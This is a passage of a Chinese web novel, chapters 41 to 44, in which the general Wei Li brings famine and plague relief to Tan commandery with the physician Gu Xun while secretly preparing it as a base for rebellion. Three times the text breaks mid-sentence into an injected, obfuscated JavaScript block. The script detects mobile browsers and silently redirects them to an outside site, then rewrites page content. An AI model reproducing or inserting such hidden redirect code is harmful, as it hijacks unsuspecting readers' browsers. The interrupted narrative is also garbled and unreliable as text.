旁边的灾民不知道他们说了些什么,只看见魏离提了武器就翻身下马,让一大片的军队往另一边走了。而他自己在原地看着马蹄扬起尘土远去,只留下先前在京城购买好的粮食。 “手里的干粮先吃了,补充些体力吧。这些车上的是我前几天在京城买的粮食,麻烦你们帮忙送到城里往下分发。”魏离站在原地看着他们灰暗的神色终于有了一丝改变。 他们在原地愣了一瞬间,马上将已经藏起来的干粮又重新拿出来两三下塞进嘴里。 “你要留下来?”为首的青年早就饿的不行,把那半分干粮塞进嘴里,鼓着腮帮子问他,“你是不是那个……魏什么……魏离?”他早听说云城十六郡被一个叫魏离的收回来了,这几天正打算找点干粮,往云城去借粮。 “是我。你叫什么名字?”魏离将自己手中的水袋递给他,“别噎着了。” “谢、谢谢。”青年勉强将嘴里的东西咽下去,“我叫房漪。我还以为你也跟那些狗……那些大人一样,会就这么走了。” “不会的。”魏离看着房漪脸上沾着的干裂的尘土,心里有些不是滋味。 “您还是留在城外吧,现在整个潭郡,每一座城里都在犯瘟疫,到处都是死人。” “县令和城主呢?”没有人想办法解决吗?魏离来之前设想过很多,但没想到这城中疫病,连焚尸都没人指挥。 “有良心的都病死了,没良心的都跑了。我们都要以为上头放弃我们这块地了,也没见派新的人下来当官。” “有郎中吗?” “有几个,但也都染上病了。”房漪都觉得,整个潭郡恐怕就剩下他们这些在外面拦路的人没得病了。 魏离先前送信去卞城给李瀛过,想问问顾荨愿不愿意来这研究一下疫病,毕竟她连金国的奇毒都能解。但李瀛说自从他离开,顾荨就外出云游行医,找不到踪迹了。 “不过前段时间,差不多就是您收复云城的时候,有个医女来,听说她医术了得,已经写出暂时缓解的药方了。” “那医女是不是叫顾荨?” “将军认识小荨姑娘?”顾荨是房漪送进城的,他对这个人美心善的姑娘印象很深刻。 “认识。”魏离看着都吃的差不多了的人们,从怀中掏出早就准备好的潭郡地图,“大家来帮我看看,这些粮食要怎么分配给这三十二座城?” 41.第 41 章 魏离被一群满身尘土的假土匪围着,听他们七嘴八舌讲了一堆才搞明白现在的潭郡到底是什么情况。 三十二座城池已经有半数几乎是空城,只剩下十七座城还有人,本该驻守此地的官员是先前苏桓的门生,从去年苏烟罗当上太子侧妃之后,这块土地上的官员全部都拿自己当太子党,李焕也顺理成章地往这卖高价粮食。 直到今年,疫病前所未有的猛烈,不止百姓死的多,连平日里数着血腥钱财的官员们也中招。等他们发现整个潭郡都被笼罩在疫病的乌云之下时,也只剩下弃城逃跑这一条路了。那些官员大都是其他地方的巨人,外放来的,对这片土地也没什么牵挂,一走了之也是轻松。 所谓山高皇帝远,又有太子为他们遮掩,这么久的时间倒真的没人发现。 “您别看我们这些人这么瘦弱,有点老弱病残的意思,我们是各个城里挑出来还算不错的了,专门来拦你们这些大官人的路的。”房漪不好意思地挠挠头,“您要是早来几个月,我们就不只是缺粮了,还缺水。不过这两天河水湖水又从西北边流下来了,也就没那么紧急。” 魏离安静地听着他们带着些泥土气息的话语,掏出了支炭笔,开始连接潭郡周围的几条大水量的河流,他还没做过实地考察,只能勉强作些草图。 要想长久解决缺粮的问题,就要先解决旱灾,要解决旱灾只能挖渠引水或是水库储水,都不是什么小工程。 周围的人们看着他的动作,慢慢安静下来,也跟着研究地图上那几条蚯蚓似的细线。 “分几队还有些力气的人,向还有人的城里分粮食。”魏离察觉到周围凝滞的空气,抬头正撞上房漪清澈的双眼。 “这些粮食,都分了吗?”房漪突然被天大的馅饼砸中,有些难以置信。 “对,都分了。十六郡那边会送新的粮食过来的。”文帝给魏离的赏赐多着,可以买很多很多的粮食。只是潭郡闹饥荒,又不是大宁闹饥荒,有钱哪会买不到粮食?这潭郡剩下的,都是没钱还走不动、走不了的人。 真好啊,这件事解决之后,直接让大魏的旧臣来这建立据点,离京城不远不近,朝廷的公信力在这又大幅度下降,蓄势造反还不是易如反掌? “不要钱的吗?我们没有钱给您。”一旁的中年人怯怯出声。 “不要钱,陛下赏赐给我许多钱财,左右我也不打算娶妻生子,父母早亡,独身一人,又常年在军中,也用不上这些钱,能帮一点是一点。”魏离将手中的地图重新叠好,藏入怀中,“大家休息好了就尽快送吧,辛苦大家了,实在是晚一分就有可能又错失几条性命。” “我本来也想让刚才的将士们帮忙的,但又怕他们留下来被陛下知道,怪罪下来,要是被怀疑想要在这谋图造反就不好了,麻烦大家了。”魏离指挥着稍微年轻些的开始按照每个城池粗略估计有多少人来安排粮食的分量,又多分派几个人去监督目的地的粮食分发。 看的一整群人都忍不住红了眼眶,“您真是仁心仁意啊!”说着就要跪下来拜他,一整片二十来个人乌泱泱一片。 “别跪了,送粮食要紧。”魏离扶了带头的中年人一把,转头看向房漪,“粮食后面有一车药材,药材里混着一包面罩,给大家分一分。粮食留下来给你分配,我带着药材去找顾姑娘。” “我一定不会辜负大人的好意的!”房漪哪还能不明白?魏离这一路过来又是药材粮食的往这走,就是为的潭郡的灾情,更别说他还认识顾荨,指不定顾荨也是他找来的。 果然物以类聚人以群分,好人都跟好人相熟。 魏离点点头将自己的马留给他,上了药材那车的马儿背上,天边落下一只嫩黄色的鸟儿,落在他肩头,蓝天白云之下,房漪等人望着骑在马上的他,心中无数感慨。 “我让人带将军去找顾姑娘吧?”房漪望着魏离干净俊利的眉眼,觉得有些眼熟,但又想不起来在哪里见过,按道理来说,这样英俊的人,就算是只有一面之缘,也不应该忘记。 “不用,我认得路。”魏离看着他们开始分拣粮食,确定不会发生什么混乱之后,驱车离开了。他其实并不知道路,但这只小黄雀儿知道。 落在肩头上的小雀儿歪头用身上的小绒毛蹭了蹭他的脖颈,振翅飞在前头带路,小小一点的鸟儿在空中扑腾着翅膀,点缀在碧蓝的天上,倒像另外一小轮初生的太阳。 魏离就在小雀儿的带领下很顺利地到达了那座不断飘散出庞大的呛人黑烟的主城。 潭郡的主城比起云城倒是更大些,连城门都更大更宽敞。只不过如今的形势,整座城被瘟疫的黑烟笼罩,实在是显得灰暗凄凉,不过比起卞城,可好多了。 一直不远不近飞在他眼前的小鸟轻松地飞跃高大的城墙,他勒停骏马,静静地望着城池上空的黑灰色烟气。 等顾荨带着人打开城门时,正看到魏离在数马辔上的扣子。 “魏大人!”能在这遇到魏离,对顾荨来说真的是意外之喜。当初她因为金军围城,不忍心看将士们受伤无人救治,才在师父死后留在卞城,卞城的形势一解决,她便遵从师父的遗嘱,开始云游四方,救治世人。 虽然她一听说潭郡这边疫病爆发就往这来了,可这到底是因为饥荒起的疫病,她一个大夫,也不能变出粮食和水源来,勉强靠着城里还剩下的劣质药材组了一个方子。 她让人出城帮忙买些药材,可潭郡外的守军一听说是这出去的人,连城都不让进,根本买不到药材,更别说粮食了。她成日里看着城中的百姓一日少过一日,实在是心急如焚,都打算回卞城让李瀛帮忙了。 还好,魏离来了。 “慢些。”魏离翻身下马,看着比先前清减了许多,正带着小雀儿朝他奔来的顾荨,心中踏实了些。 “你怎么会来这里?”顾荨看着他脸上的面罩,激动过后便有些疑惑,难道他也是为了这个疫病来的?准备的这么齐全。 “我本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701444|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要回云郡驻守的,路过此地,被房漪他们拦下来了。”魏离牵着马走在她的身侧。 “那其他人呢?清阳公主呢?”顾荨左顾右盼,看了好一会,确定只有魏离自己一个人,“你一个人来这,公主殿下不会生气吗?” “我……我没和清阳公主成婚。”魏离的声音从面罩下传来,沉沉的闷闷的。 “啊?” “清阳公主心另有所属,我成全他们了。”当然现在是清阳乡君和白身苏公子了。 “啊!不好意思!我不是故意……”哪壶不开提哪壶的,顾荨不理解,真的有人会放弃这样好的人,去爱上另一个人吗? 她盯着魏离的侧脸,在眼中描摹出夕阳镀上的轮廓色彩。魏先生现在心里肯定很难过,先前在卞城看他那么宝贝清阳公主给的荷包,肯定是用情至深。 “没事,都是过去了。我让人跟陛下禀报了,我这次留在潭郡是伤心过度,旧疾复发,来修养的。”潭郡的惨状,文帝必然还不知道,就跟当初的卞城一样,太子不会让文帝知道的。据房漪所说,潭郡有一个卖粮食的地方,但是是天价粮食,一两金一两粮食,虽然买得起的人家都往外搬迁了,没有人会去买,但它直接规定了售往潭郡的粮食价格,只要是潭郡的人往外买回来,就是按着这个价。 而且据说李焕还勒令只许官买不许民卖,违反的就收缴家中所有粮食。 “可这里……”顾荨咬咬牙,感觉魏离是被房漪他们骗进来的,不知道潭郡目前的情况。 “这里现在空了一半的城池,百姓都病着,死的差不多了,缺食少水。”魏离轻飘飘地将她要说的话全部说出来,“我知道,而且我猜这里的灾情跟之前卞城的战报一样,根本没有传进京城那位皇帝的耳朵里。” “大人你小声点。”顾荨来这了解一切之后就第一时间联想到了当时孤立无援的卞城,但她不敢将这一切猜想告诉当地的人们,人总是要有希望的,要是让他们知道上头的贵人根本不在意也不知道他们的苦难,要出事的。 “这有什么好不让他们知道的?”魏离侧过头看着她因为这一段时间的挨饿而凹陷下去的面颊,“没有支援就是没有,陛下没有派人处理潭郡的事情也是事实,一味地靠着虚无缥缈的希望过活,最后只会收获虚假信念带来的死亡。” “何况,我不是来了吗?我会让人送来新的粮食和药材,也会让人来帮忙挖渠引水、建造蓄水水库。”至于文帝的威信和名声,越低越好,这样能被轻易蒙蔽的人,怎么当得好一国之主? “你做这些,陛下不知道吧?”顾荨心中隐隐有了些猜想,她不是傻的,魏离愿意付出这么多来帮助潭郡,怎么可能毫无所求。 “李焕不敢让他知道的。”魏离也不愿意再称什么太子殿下,直呼李焕名讳,他忍挺久的了。 顾荨心里此刻掀起惊涛骇浪,看向他背着夕阳,但异常明亮的眼睛,脑海中重新浮现他将永安王的头颅交到自己手中时的模样。 42.第 42 章 魏离在第二天的时候,亲自去看了集中在棚屋里的病人。 在昏黄而沉闷的光线下,街道两旁稀疏地散落着几处紧闭的门户,本该是整个郡最繁华的城池,本该充满喧嚣的活力,如今却被一种难以言喻的沉寂所取代。就在这寂静之中,简陋的棚屋之下,躺着几十上百位病人。 角落里的人们孤独地蜷缩在简陋的床榻之上,单薄的遮盖物掩在他们身上,如同与外界隔离的冰冷屏障,毫无生气的氛围将他们紧紧包裹着。 他们的面容大都憔悴不堪,双颊深陷,皮肤透露出一种不健康的苍白,只有面颊上突兀地染着一大坨绯红,像是体内生的火焰的余烬,无力地透过病的残破的身躯向外求救。他们的额上都挂着细密的汗珠,有家人照顾的病人,还能有人帮忙拭去,没有家人亲友的,就只能任由它们沿着脸颊滑落,滴落在满是尘埃的地面上。 清亮的水珠在地上砸成一个小小的泥泞土洼,困住了几只绕昏了头的蚂蚁。 连着呼吸,对他们而言都成了一种格外沉重的负担。他们的每一次吸气都像是在从干涸的洼地里汲取水分,费力而艰难,每一次呼气呼都伴随着轻微的咳嗽,此起彼伏的咳嗽声在没有完全封闭的棚屋里显得不那么刺耳。 “都缺什么药材?”魏离看向身边一位正给父亲喂水喝的小姑娘,听着耳边微弱但嘈杂的咳嗽声,心情格外沉重,不能忧天下之事,忠百姓之民生,何以为君?这大宁能在金国和周朝的夹缝中生存这几十年,也真是运气好。 “我会继续尝试看看能不能研制出对症的药方,如今用的是我前几天试出来的缓解的方子,能延缓症状,病人差不多能多活十几天。”顾荨将怀里的方子掏出来递给他,“这上面的药材都缺,而且是大量的缺,因为我们不能只看主城,外面的三十一座城也得救。”虽然已经空了小一半。 魏离先前并不知道大致缺什么药,只是按着先前在书中读到的药材准备了些,光他昨天带过来那些是远远不够的。 “我会想办法的。你缺什么就跟我说。”他接过那张薄薄的纸张,叠成三叠收好。 京城的药材和粮食品质都更好,云城的药材和粮食胜在量多,能两方都运过来当然是最好,但京城那边难保不会有人发现蓝即荧在替他往潭郡运送物资。 但云城那边可用的人不算多,蓝即荧的前朝旧臣未必愿意在潭郡疫病还未解决的情况下带人运送物资,毕竟对他们来说,每一个人都是辛辛苦苦培养的,为了复国而存在的。 李瀛那边的物资自己够不够用另说,单从卞城送到这来,等送到,可能大家都死干净了。 还得是顾怀真和李倓越。 他救过汪水渟,顾怀真不会拒绝他的要求的,而李倓越,就算让宁国公世子知道他在潭郡做赈灾,世子也不会没事去跟文帝和太子提的。 魏离回到暂居的县衙里就找来笔墨龙飞凤舞地写了两封书信,先让小黄雀儿送了给李倓越的,云城离潭郡不算远,来的更快。顾怀真早在汪水渟伤好得可以上路,就跟着汪水渟回到他先前的驻地去了。所幸,那里也算个鱼米之乡,最近正是丰收的季节。 潭郡这边的天气凉得倒没有京城那么快,淡淡的病气混杂着药气飘荡向不断升起的烟雾。那是顾荨让人准备的用来焚化尸体的场地升起来的烟气,是真正的最后一口气。 魏离从书房出来,正看见门口的大路上,又有几个精瘦少年戴着面罩抬尸体往混杂着粉尘颗粒的烟雾升起的地方去。 他瞥见白色丧布下被颠簸出来的手臂,惨白的肤色之上,是慢慢爬上去的瘀斑,惨白的皮肤之下,是嶙峋凸起的骨头。 不知道李焕有没有尝试过饿上自己几天?魏离看着他们算不上高大的身影,费力地抬着担架,伴着一阵轻微的咳嗽声逐渐远去。 有机会也让他试试吧。 ———— 云城的粮食和药材运过来很快,七天就到了,李倓越还另外给魏离多塞了些糖糕和甜饼,他记得魏离喜欢吃甜的。 顾荨拿到自己想要的药材之后,连着两天不眠不休,连饭都没来得及吃,还是魏离给她煮的米汤。 当第三天天刚亮时,魏离已经将今天早上要分发的稀粥熬好了,又去她房间里看了一眼,那前县令收藏的据说可以点上三天三夜的龙凤花烛的火光都变得格外微弱,似乎也因为几日不眠不休的工作累着了。 “又一夜没睡?”魏离将自己准备好的方便吃的碎菜汤和米粥从食盒里取出来放在堆满了药材和医书的檀木桌子上,看向微弱烛光映照下显得格外亢奋的顾荨,“虽然研制疫病的药方是紧急,但如果你在研制出来之前,就把自己累垮了,那就是得不偿失。” “快了,快了。”顾荨连一个眼神都没有分给他,继续翻着手边的书籍,只差最后一点了,药方里有两味药放在一起会起冲突,影响整副药的效果,她就只差解决这个问题了,“我昨日让你帮忙送出去试的药,那些病人有什么反应吗?” “没死……都活着。可能……没那么咳嗽了?”魏离不是专业的,对医术只能说,略懂药性,真要让他给人看,那还真不行。 “算了,我待会自己去看看,你去忙你的吧,一定要让他们及时把尸体烧了,绝对不能留着!”顾荨头也没抬,挥手就让他出去,“放着吧,我过会就吃。” 魏离摇摇头,提着空食盒出了门,顺手替她把门带上,收拾好东西就往城门上去。 这天天气很好,颇有些秋高气爽的意思,潭郡这边的秋天来的晚,前段日子还是炎热得人死一时辰就开始发臭,今天好多了。 魏离站在城墙上吹着迎面送来的秋风,望着远处的山黛,有些想念那些年自己在山上住的日子。不过他今天来这城墙上,可不是为了看风景的,远处慢慢有一个拉着车的灰色身影出现在他的视野里。 是房漪。他让房漪定时来给他汇报各个城池的存活人数,得病人数以及粮食发放情况和消耗情况。 “将军!这是这几天的,我都写下来了!”风中尽是青年有力的嗓音,他将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13721315|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手中挥舞着的纸张叠好扎好,系在魏离放下去的绳子上,拽了两下示意魏离已经系好了。 魏离冲着他点点头,将绳子拉上来。 整个潭郡的情况算是有所好转,有了粮食的供给,各个城中的百姓虽然吃不饱,但也不至于像之前一样饿死。在不那么饿的情况下,大部分染了疫病的百姓也都有所好转,虽然不多,但总归是一个好消息。 现在就看顾荨了。 魏离将纸张重新叠好,攥在手里,下了城楼,往先前安置百姓的棚屋走去,一路上的窃窃私语声多了不少,这接近死亡的城池,终于有了些生气。 他在一片简陋的床榻里找到了自己亲手煎了药,看着他喝完的那个病人,是他来这的第一天看见的那个给父亲喂水喝的小女孩。 女孩模模糊糊地认出了魏离的身影,眼中又多了几分神采,努力从牙缝中挤出几个字节,“先、生。” “怎么样,昨天喝的药,今天有好转吗?”魏离蹲下来握住她似乎想抓住什么的小手,转头看向一边帮忙照看的少年。 “退烧了,但是有些呕吐。”那少年紧紧盯着魏离握着女孩手的修长手指,似乎有些困惑,为什么这个人不怕被传染呢?他有点想把这两只手分开。 “那你呢?我昨天也多煎了一副药给你喝,你感觉怎么样?”魏离盯着他爬满红血丝的眼球,伸手揉了揉他因为经常抬尸体去焚烧点,沾的满是灰尘的脑袋。 “我、我觉得自己有力气了点……可以继续去抬、抬尸体,也能搬东西了。”他不想留在这里当病人,他要给大人们帮忙,他就算病了,也能继续干活,不需要休息。 魏离看着少年因为情绪波动而变得更红的脸颊,笑着看他,“你在这里帮忙照顾病人,难道不是在帮忙吗?无论是搬东西,还是照顾病人,都是一样重要的。” “可是……”可是只有病倒了的人和女人小孩才应该来干这些轻松的事情,他不能来,他是大孩子了。 “别担心了,你的位置有别人顶上,过两天顾姑娘说不定就把药方研制出来了,大家都会好的。” “那……那等大家的病都好了,我可以跟着您吗?”他早在疫病爆发之前就听哥哥说过,魏离是文能当状元,武能收复云城的人,虽然如今哥哥出城去了,不知道还好不好,但他相信哥哥一定也愿意让他跟着魏离的。 “当然可以。”魏离温柔的笑容一点一点地刻进少年的心里,“不过,你愿意先告诉我,你叫什么名字吗?” “我叫房洄。” “房漪的弟弟吗?” “您认得我哥哥?他在城外还好吗?” “还不错,你哥哥现在可是背负着整个潭郡的粮食分配的重要任务。” “真的吗?太好了!我还以为……”还以为哥哥也去世了,他已经很久很久没见过哥哥了,也没有收到任何跟哥哥相关的消息。 “放心吧,一切都会过去的,都会变好的。”魏离微笑着看着房洄眼底几乎要迸出来的泪花,有些感慨。 43.第 43 章 经历三天不眠不休后,顾荨被魏离硬押着回了房间,被他守着睡了一觉,魏离的身上被熏了艾绒,不算刺鼻,闻起来很安心。 在药房里浸泡了三天的干涩眼睛终于是阖上,不过也没闭上多久,那双布满着红血丝带着浓重的黑眼圈的眼睛,又睁开了。 “只睡了两个时辰。”魏离看着坐起来的顾荨,明白她心里是放不下那些百姓,“算了,趁热把粥喝了,反正你也是睡不安稳。” 顾荨一听,披着青色外袍就从床下下来快步走到桌子边上,桌面上摆着一碗白粥,两碟野菜,还有个小碗里放着糖酥。 这糖酥一定是云城的将士给魏先生带的,这……这多不好意思啊,她以最快的速度喝完粥,将糖酥塞进嘴里,连招呼都没打就往药房跑去。 魏离听着少女急促的脚步声有些无奈,将桌上的碗筷都收拾起来,也往安置百姓的棚屋去了,他答应房洄,要替他给哥哥带封信的。 房洄已经捧着信等候多时了,魏离到的时候,他正在给病情稳定下来的小女孩讲故事。小女孩因为疫病而泛红的眼睛一错不错地盯着他,生怕错漏过一个字。 “我来了。”魏离踏入棚屋时发现人们的状态都还算稳定,不知道其他城池情况如何。 “先生,这是我写好的信,劳烦您交给哥哥。”房洄将怀里捂得温热的书信递给他。 “好。”魏离微微一笑,接过书信,“今天感觉怎么样?” “可能是因为有盼头了吧,大家的状态都还算不错。”房洄给他搬了一把小凳子,又怕他嫌弃这边不知道多少病人坐过的,带着些尘土的破旧木凳,还用袖口擦了擦,转头又想起自己的袖口也不干净,有些羞赧地冲他笑了笑。 希望确实是能让人们愿意努力和病魔斗争的良药。 魏离笑着摇摇头,“那就好,我就不多留了,你哥哥应该快到城门外了,京城那边偷偷运过来的粮食要亲眼见过我,他们才愿意给。” 这也是蓝即荧的主意,他怕有人冒领,让送货的人必须亲眼见过魏离才能将粮食给出去。 “谢谢您。”房洄朝他行了个大礼,“如果没有您,我真的不敢想象潭郡会变成什么样。”房家世世代代居于潭郡,也算是潭郡的一方世家。先前灾情还没这么严重的时候,就时常收购外头的高价粮来接济百姓,整个潭郡的贵族世家早就走的只剩下这一家,先前兴旺的房氏一族也早已因为疫病剩不下几个了。 可他们自小接受的家训告诉他们,人源土,土源石,世家大族之起源,是布衣之流,世家大族如同巨舟,浮于百姓之上。他们会一直坚守在这片生养他们的土地之上,直到生命的最后一刻。 “不必多礼,这都是我应该做……的。”魏离此时才反应过来,从什么时候起,他开始思虑天下,忧心百姓的呢? 不应该这样的,母亲将他带到大宁来,为的就是让他不要走上这条路。 是从卞城开始的?还是云郡?他的好看的眉头轻轻蹙起,看得房洄一阵担心,“先生?是有哪里不舒服吗?” “无事。我先走了。”魏离又重新露出安抚的笑容,拿着粗糙的信封往外走去。 不应该是这样的。他抬头看了看依旧灰得发暗的天空,又低头看了看手中因为少年书写的清隽字迹而变得不再粗糙的信封,不明白为什么。 他有很多种方法,为什么会选择自己来到这片重病的土地,去“忧国忧民”? 还没等他想明白自己内心矛盾的到底是什么,不远处一道奔跑着的青色身影没来的及刹住脚步,直愣愣地撞进他的怀里,撞得他心口疼。 不过这一撞,倒是让他暂时地忘记了自己在思考的事情。他低头扶住撞得头晕眼花的顾荨,“药方成了?” “对!那么简单的方法我都没想到,习医这么多年,真是学到狗肚子里了。”因为剧烈奔跑而两颊绯红的少女站稳身形后推开他,“不跟先生多说了,我得把药材带过去先煎药试药,真成功了就尽快发往其他城池。”还好药材打包得紧 ,否则这一撞还不得全落在地上。 魏离看着她又火急火燎地跑向正在煎药的小屋子里,有些失笑,摇摇头往城门的方向去了。 ———— 赶在冬天到来之前,顾荨新研究出来的药方传遍了整个潭郡大地,死亡人数在云城和京城不断送来药材的情况下急剧减少,大魏的旧臣,也终于愿意带着自己的人手踏入这片土地。 “魏先生,本来空荡荡的潭郡,突然被我们这些人填满,要是被大宁太子知道了,那可就不好办了。” “是啊是啊。”他们可不想在自家主子还没答应复国之前就先被大宁那些姓李的狗贼发现了端倪。 魏离安静地看着眼前七嘴八舌地讨论着的一群花白胡子的老人,他们是前朝旧臣,在魏离还在云郡的时候就来找过他。 “诸位不必担心,你们从今天起就是我从云城派过来帮忙重建潭郡的百姓,就算李焕知道了,他也会当做不知道的。”让文帝知道他抬高粮价,趁火打劫,还不得直接换李瀛去当太子。 魏离保持着得体的笑容,“还请诸位帮忙,按照我这分计划图来帮忙挖渠引水,还有一个水库,有些麻烦,但只要你们做成了,我保证会劝服小荧复国。”他今日穿的是一见鸦青色的大袖,在众人的目光下,他缓缓从袖子里的暗袋掏出一卷羊皮纸。 蓝即荧不蠢,他一听说魏离打算挖渠引水,就明白魏离需要大量不属于大宁的人力,并没有第一时间回复旧臣,而是将这一点递给魏离,让他以此来和旧臣交换。 因为他明白魏离在潭郡做的这一切都是为了给他准备一个基准点,潭郡的事情一旦解决,未来的反军就能有一个物资丰饶,土地辽阔,但和大宁朝廷离心的据点。可从他与那些旧臣的书信中了解到的,那些人根本考虑不到这一点,不会白给魏离打工的。 简单来说,那群人是有着一片赤诚之心的蠢货,所以大魏灭国也不是没有原因的。 “你保证?” 魏离安静的看着眼前连走路都需要拄着拐杖的前大魏丞相,突然忍不住笑出声来,“难怪大魏回去轻易被李氏灭国。” “你这话什么意思?” “你们除了相信我,还有别的办法吗?”他盯着眼前眼睛瞪得圆溜溜的老头,“如今这世间能劝得动蓝即荧的,只有我,而且到时候造反,我还能给你们找来一员猛将。何况,我大费周章将这潭郡调理好,图的就是山高皇帝远,没人感捅到皇帝面前,整片大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728905|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁的土地上,没有比这里更适合做你们据点的地方了,这买卖稳赚不赔。” “你空口白牙,谁知道这是真还是假?”小老头一想也觉得有点道理,但都被骂蠢了,哪能就这么放过去,“你如今成了大宁的平宁侯,我怎么确定你不会为了已经到手的荣华富贵倒戈?” “你还想和我立字据?”魏离有些不耐烦地眯起眼睛,“立的可不是字据,是你我造反的证据。” “这……” “我没那个耐心去跟你们谈什么其他条件,你只需要回答‘是’与‘否’即可。” “唉……”小老头长叹了一口气,当年他当丞相的时候,哪里被人这么对待过,“行,我手底下的人随便你调遣。”就当是为了自己悲惨的女儿吧,也不知道蓝即荧如今长成什么样了,像不像他的母亲。 这小老头就是蓝即荧和蓝即灵两姐弟的外祖父,当年整个蓝家只有他一人正出使金国,被扣下,勉强捡回一条命,等到他回去之时,被血洗过的蓝氏府邸,已经被清洗干净,换了新贵住进去。 他像个老乞丐一样,站在那熙熙攘攘的街道上,看着熟悉又陌生的街道,听着百姓对新帝的赞誉,心如刀绞。 “那快些开始吧,时间不等人。”金国的小皇子快要养好那一箭的伤了,指不定哪天他又要被调去卞城守城了,魏离让房漪带人进来,给他们分配房屋,明日就开工,趁着冬天还没到,多干些活,等到春汛,水急的时候有些危险。 小老头盯着魏离俊美异常的脸,“你先去和小荧通信。” “行。”魏离也不再找借口,提笔就写小纸条,写就之后,还让他观阅,确定无误之后系在小黄雀的脚上。 “你和他就靠这小东西传信?”小老头一脸震惊地看着长得一点都不靠谱的小黄雀。 “别小看它,我们这样传信最快最安全。”魏离不理会他欲言又止地表情,走到窗边就把雀儿放飞,小黄雀窜的很快,一下就看不见踪影。 “潭郡灾情也算是稳定下来了,我过些日子要回云城,潭郡这边至少一年之内,上面不会发现端倪,你和房漪一同管理,有事就去云城找我。”魏离在潭郡已经待了很久了,再待下去文帝早晚要派人来慰问。 “你要把潭郡当大魏的土地来治理,这样到时候才有起兵之力。” “还用你说。”到如今这个情形,他怎么可能还看不懂形势,就是放蓝即荧两姐弟在京城,多少还是有些担心。 “不用我说最好。”魏离对他吹胡子瞪眼的表情不感兴趣,走到门外看向正研究这么多人要怎么安排的房氏两兄弟,“这位管理这些来帮忙的人,你们管理好云郡本地的百姓,遇到大事互相参考。” “先生要走了?”房洄睁着亮晶晶的眼睛望他,不是说好让他跟着学习的吗? “对,再晚点走陛下会派人来查看,到时候想要挖渠就难了。”魏离被这一双湿漉漉的眼睛盯着,才想起来自己之前答应过,要让他跟着自己。 他思考了一瞬,开口,“你跟着我一起回云城吧。” “好!”房洄的眼睛更亮了,看得一旁的房漪有些无语。 “希望我再回到潭郡的时候,这里一片山清水秀,稻涛阵阵,再也不会有人挨饿。” 44.第 44 章 魏离回去得很及时,苏延在他回到云城七天之后也到了云城。 “你们让我见见魏离!”苏延一大早就堵在了魏离门前。 “我呸,你怎么有脸出现在这啊,苏、大、公、子。”李倓越刚好带着人要去和魏离商量继续往潭郡送粮食的事情,没想着撞上一个在门口撒泼打滚的少爷。 “哟,这就是传说中把清阳乡君的魂都勾走了的苏大少爷呀,看着也不怎么样啊。”跟着魏离一起打过仗的人都早就从李倓越他们嘴里知道,魏离这次没能成功接亲,是因为公主和苏家的翰林院编修跑了,哦不,现在不是翰林院编修了,是苏家被革了职大少爷。 “我是来和魏将军请罪的,请你们让我进去见他一面。”苏延看着眼前满是嘲讽意味的将士们,脸都气白了。 可他没办法啊,父亲猝然过世,母亲一病不起,苏烟罗还在东宫受苦不见天日,家里另外两个妹妹过得也算不上顺心。最重要的是,他失了官身,如今整个苏家都算是树倒猢狲散,家财被底下的亲戚和奴才悄悄架了个干净,再过段时日,怕是家里都要揭不开锅了…… 他去求太子殿下,太子殿下说了,要他求得魏离的原谅,才肯替他在文帝面前说上一两句,才肯将被关在东宫柴房里好几天的苏烟罗放出来。 他没办法,只能拿着自己的几样玉石古玩去变卖了路费,一个人往这边远的云城来,这一路的心酸苦楚,只得自己咽了下去。 “我家将军不想看见你这不懂礼仪廉耻的伪君子!” “就是就是。” “他不是带着公主私奔了吗?怎么没变成驸马啊?如意算盘落空了?” “你以为谁都是我们将军啊?这估计也就是草包一个,别说当驸马了,连清阳公主都给他变成了清阳乡君。” …… “诶诶,你们别说了,待会人家一时想不开,羞愤而死,到时候见了他那个厚着脸皮吃将军庆功宴的爹,还得告我们的状呢!”李倓越看着苏延越变越青的脸色,和慢慢聚在一边嗑瓜子的百姓们,终于是制止了身边的将士们继续奚落他,“苏大公子,我们云城这小地方,容不下您这尊大佛,您还是走吧,别说将军不想见你,就是将军想见,我也会拦着他的。” “因为啊,你、不、配。”李倓越是真的想上去踹他两脚,怎么那么大脸呢这人做的。 苏延闭上嘴,青着脸看眼前这座小府邸前围上越来越多的百姓,再也忍不下去了,推开路边看热闹的小孩就往人群外头走。 李倓越看着他消瘦的背影,心里那口气才顺下去一点。他那段时间在京城,可是从宁国公府那边听了不少关于苏家针对魏离的事情,什么伤药下毒,华山顶上找刺客……他们家就逮着魏离一个人薅。 如今还来求原谅,可真是不要脸,怕不是上头有人压着他,说得不到魏离原谅就灭他满门吧。 他一狠狠地瞪了远处的背影一眼,转身推开被自己眼疾手快拉上的大门,进了府。 